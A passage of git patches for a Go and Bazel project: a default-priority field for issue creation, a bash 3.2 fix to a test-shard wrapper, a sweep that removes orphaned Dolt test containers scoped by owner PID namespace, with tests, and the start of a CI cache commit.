+ DefaultPriority bool } // CreateBatchRequest describes one creation of many issues. diff --git a/issueops/issueops.go b/issueops/issueops.go index 3d5588e2b..cb55aff60 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -224,8 +224,23 @@ type CreateRequest struct { // is handed. Without it the two `bd create` routes disagree about which // ids a workspace may mint. IDPrefix string + // DefaultPriority says the caller has no priority for the issue, and the + // create stores DefaultCreatePriority. It exists because Issue.Priority + // cannot say "absent": its zero value is P0, a real and urgent priority, so + // a caller that leaves it unset asks for critical work. The default is + // applied here, once, for every route — the CLI's `bd create` without + // --priority and an HTTP create without `priority` both set this rather + // than spelling the number themselves. + // + // Issue.Priority must be zero when it is set; a request that sets both is + // ErrValidation, because the two would disagree about what was asked for. + DefaultPriority bool } +// DefaultCreatePriority is the priority a create stores when its request sets +// DefaultPriority (CreateRequest, BatchCreateItem, CreateItem): P2, medium. +const DefaultCreatePriority = 2 + // UpdateRequest describes an issue update. type UpdateRequest struct { Actor, IssueID string From ff4f46e13702d93fd0c07c3f6dcb72c72d08bf68 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:00:02 +0000 Subject: [PATCH 202/325] fix(bazel): go_test_pinned_shard.sh runs under bash 3.2 (macOS Main red since #7413) (#7423) The pinned-shard wrapper kept a `declare -A shard_of` map whose only use was the "pinned twice" check. Apple's /bin/bash is 3.2, which has no associative arrays, so on the main workflow's macOS Test job scripts/pinned_shards_test.go (which runs the wrapper through the host `bash`) failed every sharded case with `declare: -A: invalid option` (exit 2). The job has been red on every main push since #7413 landed (runs 37890739870, 37900573128, 37902968742); the Bazel lanes run the wrapper on Linux bash 5 and never saw it. The check is now a membership test on the "|"-joined `all` string, which the manifest's name pattern (^Test[A-Za-z0-9_]*$) keeps free of "|". Nothing else changes: the pinned-twice refusal still fires (TestPinnedShardWrapperRejectsBadManifests/test_pinned_twice). Verified: go test -run TestPinnedShard ./scripts with PATH limited to /usr/bin:/bin (bash 3.2.57): 5 PASS; the whole ./scripts package under bash 5.3: ok; shellcheck -s bash and `/bin/bash -n` clean. Co-authored-by: Claude Fable 5.1 --- tools/bazel/go_test_pinned_shard.sh | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/tools/bazel/go_test_pinned_shard.sh b/tools/bazel/go_test_pinned_shard.sh index d1c2b5d7d..642526835 100755 --- a/tools/bazel/go_test_pinned_shard.sh +++ b/tools/bazel/go_test_pinned_shard.sh @@ -43,7 +43,10 @@ if [[ "$total" -le 1 ]]; then fi index="${TEST_SHARD_INDEX:?TEST_TOTAL_SHARDS is set but TEST_SHARD_INDEX is not}" -declare -A shard_of=() +# No associative array (bash >= 4): macOS runs this under /bin/bash 3.2 +# (scripts/pinned_shards_test.go on the main workflow's macOS job), so the +# "pinned twice" check is a membership test on the "|"-joined names, which +# the name pattern above keeps free of "|". declare -a pinned_by_shard=() pinned_shards=0 all="" @@ -57,11 +60,10 @@ while IFS= read -r line || [[ -n "$line" ]]; do echo "$manifest:$lineno: want \" \", got: $line" >&2 exit 1 fi - if [[ -n "${shard_of[$name]:-}" ]]; then + if [[ "|$all|" == *"|$name|"* ]]; then echo "$manifest:$lineno: $name is pinned twice" >&2 exit 1 fi - shard_of[$name]="$shard" pinned_by_shard[shard]="${pinned_by_shard[shard]:+${pinned_by_shard[shard]}|}$name" all="${all:+$all|}$name" ((shard > pinned_shards)) && pinned_shards="$shard" From 1cf193bc9ff8f97acb477a3a6a2d67e0ede1c8fe Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:39:59 +0000 Subject: [PATCH 203/325] fix(testutil): sweep Dolt test containers whose owner process exited (#7028) * fix(testutil): sweep Dolt test containers whose owner process exited (wy-4hknjt) Every Dolt container the test harness starts now carries two labels naming its owner: the test binary's pid and the host it runs on. Before a process starts its first container, the harness lists the containers labelled for this host and removes the ones whose owner pid no longer exists. In-process cleanup (t.Cleanup, TerminateDoltContainer after m.Run) never runs when a test binary is killed or panics on `go test -timeout`, and a box running with TESTCONTAINERS_RYUK_DISABLED=true has no reaper either. Each such run stranded one idle dolt-sql-server holding 100-470 MiB; 23 were standing on one loaded box after a single evening of killed runs. The sweep bounds the pile at "runs since the last run". Safety under concurrent test processes on one host: a container is removed only when kill(pid, 0) reports ESRCH. A live owner, a pid reused by another live process, or a pid this user may not signal (EPERM) all keep the container. Containers without the owner labels (older harnesses, other tools) are never touched, and the host label keeps a remote DOCKER_HOST's containers, whose pids mean nothing here, out of the sweep. The local (BEADS_TEST_DOLT_SERVER=local) backend is unaffected. Tests: the decision table (dead owners only; missing, non-numeric and non-positive pids skipped without probing), pidAlive on self and on an impossible pid, the label option stamping this process, and a Docker test that starts a dead-owned and a live-owned container, sweeps, and checks only the dead-owned one is gone. Co-Authored-By: Claude Fable 5.1 * build(bazel): sync BUILD files for testutil dolt sweep test wy-4hknjt: apply the gazelle bazel-sync patch from run 36720164405 so internal/testutil/BUILD.bazel carries the testcontainers deps. Co-Authored-By: Claude Fable 5.1 * fix(testutil): key the Dolt container sweep on the owner's PID namespace Maintainer fixup for #7028, review iterations 1 and 2 and pre-approval CI. A pid names a process only inside its PID namespace. The sweep removed a labelled container whenever kill(owner-pid, 0) returned ESRCH, so a sweeper in another namespace that shares the hostname and the Docker daemon reads every live owner as dead. That is the default shape of the maintainers' agent fleet: each session runs under bwrap --unshare-pid without --unshare-uts. Every session therefore reports one hostname, sees only its own handful of pids, and talks to one /var/run/docker.sock, with the Docker backend as the test default. On one such box on 2026-10-06, three live dolt-sql-server test containers from three test runs shared the daemon. With the original sweep merged, the first container start of a test binary in any other session would have removed them mid-test. Reproduced and fixed by running the sweep from a container (its own pid namespace, same hostname, same daemon) against a container labelled with a pid that was alive in the labelling session: - at 5978cedaa2: "removed stale Dolt test container ... (owner process exited)" while the owner was alive; - with this change: the row is listed and kept. Changes: - Stamp a third owner label, owner-pidns: the /proc/self/ns/pid link on Linux and "" elsewhere. staleContainers considers only rows from the sweeper's own namespace. On Linux the sweep is skipped when that link cannot be read. A start-time label alone would not fix this: across namespaces it would turn a pid collision into "dead" as well. An owner whose hostname or namespace cannot be read is stamped "", which no sweep on the host matches, so its container leaks instead. - docker rm -f -v: the image declares VOLUME /var/lib/dolt, and plain rm -f left that anonymous volume behind for every swept container, unlike testcontainers' own RemoveVolumes teardown. - Bound the sweep with a 30s context, plus WaitDelay on each docker command. Without WaitDelay, killing the docker process on timeout does not unblock Output() while a child it started still holds the pipe. With a forking docker shim on PATH, the call returns after 3s with this change and is still blocked after 15s without either part. - Extract parseOwnedRows and table-test it: empty fields, CRLF, trailing newline. - TestSweepStaleDoltContainers: the dead-owned container's owner is a child process that lives until both containers are up and the volumes are read, and is then killed and reaped (a zombie still reads as alive). A sibling test binary's sweep (go test ./... runs them in parallel) removes a container as soon as its owner reads as dead, and a never-live owner pid exposed the container for its whole start. The test checks only the end state for that container and its volume, polled for up to sweepTimeout, because the sibling may get there first or still be removing it when our rm fails. Reproduced with a second test process in the same PID namespace running the real sweep every 100ms alongside TestSweepStaleDoltContainers: - with a never-live owner pid: "starting Dolt container: ... No such container", the container removed inside dolt.Run; - with the child owner but no poll: 1 of 4 runs failed with "dead-owned container ... still exists after the sweep", after the sibling's rm -f -v won and ours exited 1; - with both: 6 of 6 runs pass, 2 of them through that same path. Without the reap, or without -v, the test fails. A container leaked from another namespace is now left to a sweep from that namespace, or to Ryuk. That is the conservative side of the trade. Pre-approval CI: main's //internal/testutil:testutil_dolt_test (#7328) runs this package with BEADS_TEST_DOLT_SERVER=local and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 in the required dolt-server lane, whose remote workers have no docker. Under the local backend checkDolt reports ready once the pinned dolt CLI resolves, so TestSweepStaleDoltContainers went on to dolt.Run and failed ("failed to create Docker provider"). It now gates like TestDoltServerFingerprint's container subtest: under the local backend it runs only when docker and the image are available, and skips otherwise. On the merge with main b1fe68e63a, with docker unreachable, that package run (race, -parallel 4) failed only this test; with this change it passes with the test skipped, and with docker available the test still runs and passes under either backend. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- internal/testutil/BUILD.bazel | 66 ++++++- internal/testutil/container_provider.go | 2 + internal/testutil/testdoltreap.go | 209 +++++++++++++++++++++ internal/testutil/testdoltreap_test.go | 240 ++++++++++++++++++++++++ internal/testutil/testdoltserver.go | 4 + 5 files changed, 520 insertions(+), 1 deletion(-) create mode 100644 internal/testutil/testdoltreap.go create mode 100644 internal/testutil/testdoltreap_test.go diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 03563cbde..82a658d83 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -14,6 +14,7 @@ go_library( "suite_temp.go", "testdoltbranch.go", "testdoltcommon.go", + "testdoltreap.go", "testdoltserver.go", "testdoltserver_windows.go", "tmpfs.go", @@ -114,6 +115,7 @@ go_test( "localdoltserver_test.go", "suite_temp_test.go", "testdoltbranch_test.go", + "testdoltreap_test.go", "testdoltserver_env_test.go", "testdoltserver_unreachable_test.go", "tmpfs_test.go", @@ -123,7 +125,69 @@ go_test( deps = [ "//internal/storage/doltutil", "@com_github_go_sql_driver_mysql//:mysql", - ], + ] + select({ + "@rules_go//go/platform:aix": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:android": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:darwin": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:dragonfly": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:freebsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:illumos": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:ios": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:js": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:linux": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:netbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:openbsd": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:osx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:plan9": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:qnx": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "@rules_go//go/platform:solaris": [ + "@com_github_testcontainers_testcontainers_go//:testcontainers-go", + "@com_github_testcontainers_testcontainers_go_modules_dolt//:dolt", + ], + "//conditions:default": [], + }), ) # testutil_test on the dolt-server lane: the package's own tests of the diff --git a/internal/testutil/container_provider.go b/internal/testutil/container_provider.go index b6573eb41..6f461a776 100644 --- a/internal/testutil/container_provider.go +++ b/internal/testutil/container_provider.go @@ -39,9 +39,11 @@ func NewContainerProvider() (*ContainerProvider, error) { ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { return nil, fmt.Errorf("starting Dolt container: %w", err) diff --git a/internal/testutil/testdoltreap.go b/internal/testutil/testdoltreap.go new file mode 100644 index 000000000..8cb8cf266 --- /dev/null +++ b/internal/testutil/testdoltreap.go @@ -0,0 +1,209 @@ +//go:build !windows + +package testutil + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "runtime" + "strconv" + "strings" + "sync" + "syscall" + "time" + + "github.com/testcontainers/testcontainers-go" +) + +// Stale-container sweep for the Dolt test containers this package starts. +// +// Every container started here carries three labels naming its owner: the +// test binary's pid, the PID namespace that pid belongs to, and the host it +// runs on. Before the first container of a process starts, +// reapStaleDoltContainers lists the containers labeled for this host and +// removes the ones whose owner ran in this process's PID namespace and no +// longer exists. +// +// Why: in-process cleanup (t.Cleanup, TerminateDoltContainer after m.Run) +// never runs when a test binary is killed, or panics on `go test -timeout`, +// and a box running with TESTCONTAINERS_RYUK_DISABLED=true has no reaper +// either. Each such run stranded one idle dolt-sql-server holding 100-470 MiB +// (23 at once on one loaded box, 2026-09-29). The sweep bounds the pile at +// "runs since the last run" instead of "forever". +// +// Safety under concurrent test processes sharing one Docker daemon: a +// container is removed only when its owner ran in this process's PID +// namespace and kill(pid, 0) reports ESRCH. A live owner, a pid reused by +// another live process, or a pid this user may not signal (EPERM) all keep +// the container. A pid means nothing outside its namespace, and sandboxed +// runners (bwrap --unshare-pid, a container without --pid=host) can share the +// hostname and the daemon while seeing none of each other's processes, so a +// container owned from another namespace is never a candidate: if it leaked, +// only a sweep from its own namespace removes it. The namespace label is the +// /proc/self/ns/pid link on Linux, unique among one machine's live +// namespaces, and "" elsewhere; a new namespace that reuses a dead one's +// inode only sees containers whose owners have all exited. Containers without +// the owner labels (older harnesses, other tools) are never touched, and the +// host label keeps a remote DOCKER_HOST's containers, whose pids mean nothing +// here, out of the sweep. + +const ( + ownerPIDLabel = "com.gastownhall.beads.testutil.owner-pid" + ownerPIDNSLabel = "com.gastownhall.beads.testutil.owner-pidns" + ownerHostLabel = "com.gastownhall.beads.testutil.owner-host" +) + +// sweepTimeout bounds the whole sweep, so a wedged daemon or container delays +// the first container start of a process instead of hanging it. +const sweepTimeout = 30 * time.Second + +var reapStaleOnce sync.Once + +// ownerLabels returns the container option that stamps the owner labels. +func ownerLabels() testcontainers.CustomizeRequestOption { + return testcontainers.WithLabels(ownerLabelValues(os.Getpid())) +} + +// ownerLabelValues returns the owner labels for a container owned by pid, a +// process in this process's PID namespace on this host. A hostname, or a Linux +// PID namespace, that cannot be read is stamped as "", which no sweep on this +// host matches: the container leaks rather than risk removal while pid lives. +func ownerLabelValues(pid int) map[string]string { + host, _ := os.Hostname() + ns, _ := pidNamespace() + return map[string]string{ + ownerPIDLabel: strconv.Itoa(pid), + ownerPIDNSLabel: ns, + ownerHostLabel: host, + } +} + +// pidNamespace identifies the PID namespace that os.Getpid and kill(2) +// resolve pids in: the /proc/self/ns/pid link target on Linux, such as +// "pid:[4026531836]", and "" elsewhere. +func pidNamespace() (string, error) { + if runtime.GOOS != "linux" { + return "", nil + } + return os.Readlink("/proc/self/ns/pid") +} + +// ownedContainer is one `docker ps` row: the container id and the raw values +// of its owner-pid and owner-pidns labels. +type ownedContainer struct { + id string + pid string + pidNS string +} + +// staleContainers returns the ids of the rows owned from PID namespace ns +// whose owner pid is dead according to alive. Rows owned from another +// namespace, and rows whose pid label is missing, non-numeric or +// non-positive, are kept: their owner cannot be checked from here, so nothing +// is done. +func staleContainers(rows []ownedContainer, ns string, alive func(pid int) bool) []string { + var stale []string + for _, r := range rows { + if r.pidNS != ns { + continue + } + pid, err := strconv.Atoi(strings.TrimSpace(r.pid)) + if err != nil || pid <= 0 { + continue + } + if alive(pid) { + continue + } + stale = append(stale, r.id) + } + return stale +} + +// pidAlive reports whether a process with the given pid exists. Only ESRCH +// counts as dead; EPERM means the process exists but belongs to someone else. +func pidAlive(pid int) bool { + err := syscall.Kill(pid, 0) + return !errors.Is(err, syscall.ESRCH) +} + +// dockerCommand returns a docker CLI command bound to ctx. WaitDelay lets it +// return once ctx is done even if a process the docker binary started, such +// as a wrapper script's child, still holds its output pipe open. +func dockerCommand(ctx context.Context, args ...string) *exec.Cmd { + cmd := exec.CommandContext(ctx, "docker", args...) + cmd.WaitDelay = time.Second + return cmd +} + +// listOwnedContainers returns every container (running or not) that carries +// this package's owner-host label for host. +func listOwnedContainers(ctx context.Context, host string) ([]ownedContainer, error) { + out, err := dockerCommand(ctx, "ps", "-a", "--no-trunc", + "--filter", "label="+ownerHostLabel+"="+host, + "--format", fmt.Sprintf("{{.ID}}\t{{.Label %q}}\t{{.Label %q}}", ownerPIDLabel, ownerPIDNSLabel), + ).Output() + if err != nil { + return nil, fmt.Errorf("docker ps: %w", err) + } + return parseOwnedRows(string(out)), nil +} + +// parseOwnedRows parses listOwnedContainers' `docker ps` output: one +// "idpidpidns" line per container, where a missing label prints as +// an empty field. Lines of any other shape are dropped. +func parseOwnedRows(out string) []ownedContainer { + var rows []ownedContainer + for _, line := range strings.Split(out, "\n") { + f := strings.Split(strings.TrimSuffix(line, "\r"), "\t") + if len(f) != 3 || f[0] == "" { + continue + } + rows = append(rows, ownedContainer{id: f[0], pid: f[1], pidNS: f[2]}) + } + return rows +} + +// sweepStaleDoltContainers removes every container on this host whose owner +// ran in this PID namespace and has exited, and returns the ids it removed. +// It is best effort: a docker failure is reported on stderr and leaves the +// containers alone. +func sweepStaleDoltContainers() []string { + host, err := os.Hostname() + if err != nil || host == "" { + return nil + } + ns, err := pidNamespace() + if err != nil { + fmt.Fprintf(os.Stderr, "testutil: stale Dolt container sweep skipped: %v\n", err) + return nil + } + ctx, cancel := context.WithTimeout(context.Background(), sweepTimeout) + defer cancel() + rows, err := listOwnedContainers(ctx, host) + if err != nil { + fmt.Fprintf(os.Stderr, "testutil: stale Dolt container sweep skipped: %v\n", err) + return nil + } + var removed []string + for _, id := range staleContainers(rows, ns, pidAlive) { + // -v also removes the anonymous volume behind the image's + // VOLUME /var/lib/dolt, as testcontainers' own teardown does. + if err := dockerCommand(ctx, "rm", "-f", "-v", id).Run(); err != nil { + fmt.Fprintf(os.Stderr, "testutil: removing stale Dolt container %s: %v\n", id, err) + continue + } + fmt.Fprintf(os.Stderr, "testutil: removed stale Dolt test container %s (owner process exited)\n", id[:12]) + removed = append(removed, id) + } + return removed +} + +// reapStaleDoltContainers runs sweepStaleDoltContainers once per process. It +// is called before the first Dolt container of a process starts, so the cost +// of one `docker ps` is paid once and only by runs that use Docker at all. +func reapStaleDoltContainers() { + reapStaleOnce.Do(func() { sweepStaleDoltContainers() }) +} diff --git a/internal/testutil/testdoltreap_test.go b/internal/testutil/testdoltreap_test.go new file mode 100644 index 000000000..75a0b1b16 --- /dev/null +++ b/internal/testutil/testdoltreap_test.go @@ -0,0 +1,240 @@ +//go:build !windows + +package testutil + +import ( + "context" + "math" + "os" + "os/exec" + "slices" + "strconv" + "strings" + "sync" + "testing" + "time" + + "github.com/testcontainers/testcontainers-go" + "github.com/testcontainers/testcontainers-go/modules/dolt" +) + +// testPIDNS stands in for this process's PID namespace in the pure tests. +const testPIDNS = "pid:[4026531836]" + +func TestStaleContainers_OnlyDeadOwnersAreStale(t *testing.T) { + alive := func(pid int) bool { return pid == 100 || pid == 300 } + rows := []ownedContainer{ + {id: "live-a", pid: "100", pidNS: testPIDNS}, + {id: "dead-b", pid: "200", pidNS: testPIDNS}, + {id: "live-c", pid: " 300 ", pidNS: testPIDNS}, + {id: "dead-d", pid: "400", pidNS: testPIDNS}, + {id: "no-label", pid: "", pidNS: testPIDNS}, + {id: "garbage", pid: "abc", pidNS: testPIDNS}, + {id: "zero", pid: "0", pidNS: testPIDNS}, + {id: "negative", pid: "-7", pidNS: testPIDNS}, + } + got := staleContainers(rows, testPIDNS, alive) + want := []string{"dead-b", "dead-d"} + if !slices.Equal(got, want) { + t.Fatalf("staleContainers = %v, want %v", got, want) + } +} + +func TestStaleContainers_NeverCallsAliveForUnownedRows(t *testing.T) { + alive := func(pid int) bool { + t.Fatalf("alive called for pid %d; rows without a valid owner pid must be skipped", pid) + return true + } + rows := []ownedContainer{ + {id: "x", pid: "", pidNS: testPIDNS}, + {id: "y", pid: "nope", pidNS: testPIDNS}, + {id: "z", pid: "0", pidNS: testPIDNS}, + } + if got := staleContainers(rows, testPIDNS, alive); got != nil { + t.Fatalf("staleContainers = %v, want nil", got) + } +} + +// A pid names a process only inside its PID namespace: checked from another +// one, a live owner reads as ESRCH. Rows owned from another namespace must +// never reach alive. +func TestStaleContainers_SkipsOtherPIDNamespaces(t *testing.T) { + alive := func(pid int) bool { + t.Fatalf("alive called for pid %d owned from another PID namespace", pid) + return true + } + rows := []ownedContainer{ + {id: "sibling-sandbox", pid: "200", pidNS: "pid:[4026546206]"}, + {id: "no-pidns-label", pid: "200", pidNS: ""}, + } + if got := staleContainers(rows, testPIDNS, alive); got != nil { + t.Fatalf("staleContainers = %v, want nil", got) + } +} + +func TestParseOwnedRows(t *testing.T) { + for _, tc := range []struct { + name string + out string + want []ownedContainer + }{ + {name: "no containers", out: "", want: nil}, + { + name: "trailing newline", + out: "aaa\t12\tpid:[7]\nbbb\t34\tpid:[7]\n", + want: []ownedContainer{{id: "aaa", pid: "12", pidNS: "pid:[7]"}, {id: "bbb", pid: "34", pidNS: "pid:[7]"}}, + }, + {name: "CRLF", out: "aaa\t12\tpid:[7]\r\n", want: []ownedContainer{{id: "aaa", pid: "12", pidNS: "pid:[7]"}}}, + // A missing label prints as an empty field. An empty pidns is what + // every owner outside Linux stamps, so the row must survive parsing. + {name: "empty pidns label", out: "aaa\t12\t\n", want: []ownedContainer{{id: "aaa", pid: "12"}}}, + {name: "empty labels", out: "aaa\t\t\n", want: []ownedContainer{{id: "aaa"}}}, + {name: "malformed lines", out: "aaa\t12\nbbb\n\t12\tpid:[7]\n", want: nil}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := parseOwnedRows(tc.out); !slices.Equal(got, tc.want) { + t.Errorf("parseOwnedRows(%q) = %+v, want %+v", tc.out, got, tc.want) + } + }) + } +} + +func TestOwnerLabels_StampThisProcess(t *testing.T) { + var req testcontainers.GenericContainerRequest + if err := ownerLabels().Customize(&req); err != nil { + t.Fatalf("ownerLabels: %v", err) + } + if got, want := req.Labels[ownerPIDLabel], strconv.Itoa(os.Getpid()); got != want { + t.Errorf("%s = %q, want %q", ownerPIDLabel, got, want) + } + ns, err := pidNamespace() + if err != nil { + t.Fatalf("pidNamespace: %v", err) + } + if got := req.Labels[ownerPIDNSLabel]; got != ns { + t.Errorf("%s = %q, want %q", ownerPIDNSLabel, got, ns) + } + host, _ := os.Hostname() + if got := req.Labels[ownerHostLabel]; got != host { + t.Errorf("%s = %q, want %q", ownerHostLabel, got, host) + } +} + +func TestPidAlive(t *testing.T) { + if !pidAlive(os.Getpid()) { + t.Fatal("pidAlive(self) = false") + } + // No process can have a pid this large on Linux (pid_max <= 2^22) or + // macOS (PID_MAX 99998): kill(2) reports ESRCH. + if pidAlive(math.MaxInt32) { + t.Fatalf("pidAlive(%d) = true, want false", math.MaxInt32) + } +} + +// TestSweepStaleDoltContainers starts one Dolt container owned by a child +// process and one owned by this process, ends the child, sweeps, and checks +// that only the container whose owner exited and its volume are gone. +func TestSweepStaleDoltContainers(t *testing.T) { + if hasTestSkip("dolt") { + t.Skip("skipping: Dolt tests skipped (BEADS_TEST_SKIP=dolt)") + } + // The sweep acts on containers, so it needs docker whichever backend + // BEADS_TEST_DOLT_SERVER selects; under the local one checkDolt only finds + // the dolt CLI (the dolt-server lane's remote workers have no docker). + if !useLocalDoltServer() { + if state := checkDolt(); state != doltReady { + skipOrFailDoltUnavailable(t, state) + } + } else if !isDockerAvailable() || !isDoltImageCached() { + t.Skipf("container backend not available on this host (docker + %s)", DoltDockerImage) + } + if host, err := os.Hostname(); err != nil || host == "" { + t.Skipf("hostname unavailable: %v", err) + } + + start := func(t *testing.T, ownerPID int) string { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) + defer cancel() + ctr, err := dolt.Run(ctx, DoltDockerImage, + dolt.WithDatabase("beads_test"), + testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + testcontainers.WithLabels(ownerLabelValues(ownerPID)), + ) + if err != nil { + t.Fatalf("starting Dolt container: %v", err) + } + t.Cleanup(func() { + // Best effort: the dead-owned container is expected to be gone. + _ = testcontainers.TerminateContainer(ctr) + }) + return ctr.GetContainerID() + } + + // A sibling test binary's sweep (go test ./... runs them in parallel) + // removes a container as soon as it sees the owner dead, even mid-start. + // So the dead-owned container's owner is a child process that runs until + // the container is up and its volumes are read, and only then exits. + owner := exec.Command("sleep", "600") // outlives both starts + if err := owner.Start(); err != nil { + t.Fatalf("starting the owner process: %v", err) + } + endOwner := sync.OnceFunc(func() { + _ = owner.Process.Kill() + // Reaped, its pid reports ESRCH; a zombie would still read as alive. + _ = owner.Wait() + }) + t.Cleanup(endOwner) + + deadOwned := start(t, owner.Process.Pid) + liveOwned := start(t, os.Getpid()) + deadVolumes := containerVolumes(t, deadOwned) + if len(deadVolumes) == 0 { + t.Fatalf("dead-owned container %s has no volume; %s no longer declares VOLUME /var/lib/dolt?", deadOwned, DoltDockerImage) + } + endOwner() + + removed := sweepStaleDoltContainers() + + // Once its owner has exited, a sibling's sweep may remove the dead-owned + // container first, or still be removing it when ours fails to, so only + // its end state is checked, and given time to settle. + if slices.Contains(removed, liveOwned) { + t.Errorf("sweep removed the live-owned container %s", liveOwned) + } + if !dockerObjectGone("inspect", deadOwned) { + t.Errorf("dead-owned container %s still exists after the sweep", deadOwned) + } + for _, v := range deadVolumes { + if !dockerObjectGone("volume", "inspect", v) { + t.Errorf("volume %s of the dead-owned container survived the sweep", v) + } + } + if err := exec.Command("docker", "inspect", liveOwned).Run(); err != nil { + t.Errorf("live-owned container %s missing after the sweep: %v", liveOwned, err) + } +} + +// dockerObjectGone reports whether `docker args...`, an inspect of one object, +// starts failing within sweepTimeout, which also bounds a sibling's removal. +func dockerObjectGone(args ...string) bool { + deadline := time.Now().Add(sweepTimeout) + for exec.Command("docker", args...).Run() == nil { + if time.Now().After(deadline) { + return false + } + time.Sleep(100 * time.Millisecond) + } + return true +} + +// containerVolumes returns the names of the volumes mounted into container id. +func containerVolumes(t *testing.T, id string) []string { + t.Helper() + out, err := exec.Command("docker", "inspect", "--format", + `{{range .Mounts}}{{if eq .Type "volume"}}{{.Name}} {{end}}{{end}}`, id).Output() + if err != nil { + t.Fatalf("docker inspect %s: %v", id, err) + } + return strings.Fields(string(out)) +} diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index ad7ca817e..771ddb1c9 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -180,6 +180,7 @@ func startDoltContainer() error { ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), // Docker port-forwarding makes connections appear as non-localhost @@ -187,6 +188,7 @@ func startDoltContainer() error { // "localhost", so root@localhost won't match external connections. // Set to "%" so root can connect from any host. testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { return fmt.Errorf("starting Dolt container: %w", err) @@ -434,9 +436,11 @@ func startIsolatedDoltContainer(t *testing.T) *IsolatedDoltContainer { t.Helper() ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() + reapStaleDoltContainers() ctr, err := dolt.Run(ctx, DoltDockerImage, dolt.WithDatabase("beads_test"), testcontainers.WithEnv(map[string]string{"DOLT_ROOT_HOST": "%"}), + ownerLabels(), ) if err != nil { t.Fatalf("starting Dolt container: %v", err) From f53010a23b0a169473b7da7a364d3dc60014ea79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 02:50:26 +0000 Subject: [PATCH 204/325] ci(bazel): remote repo contents cache: main-push seed, lane readers, nightly verify (#7453) Port gascity's remote repo contents cache wiring (gascity #7467, #7478) to bazel.yml, gated on the repository variable RBE_REPO_CONTENTS_CACHE (unset/off: nothing; seed: rrc-seed on push to main; canary: + bazel-test reads; on: + every test lane reads). Mode remote only. - rbe job: an rrc step turns the variable into the rrc output. - Readers: the eight test lanes append startup --experimental_remote_repo_contents_cache and common --loading_phase_threads=64 to .bazelrc.local before Set up Bazel. - rrc-seed (push to main, id-token: write): a 30-minute rbe-rrc-writer-beads certificate from rbe-west's mint (.github/scripts/rrc-writer-credential.sh), then every lane's command (.github/scripts/rrc-lane-commands.txt) with --nobuild, --remote_cache only and --remote_upload_local_results (.github/scripts/rrc-run-lanes.sh). - rrc-verify (schedule/dispatch, issues: write): cold fetch of every lane and tools/bazel/rrc_verify.py against the cache; a mismatch opens an rrc-verify issue. - pr.yml, nightly.yml and bazel-farm.yml grant id-token: write and issues: write on their bazel.yml call (startup_failure otherwise); TestBazelWorkflowCallersGrantEveryRequestedPermission guards it. rrc-writer-credential.sh, rrc_verify.py and rrc_verify_test.py are byte copies of gascity's, pinned by sha256. Refs 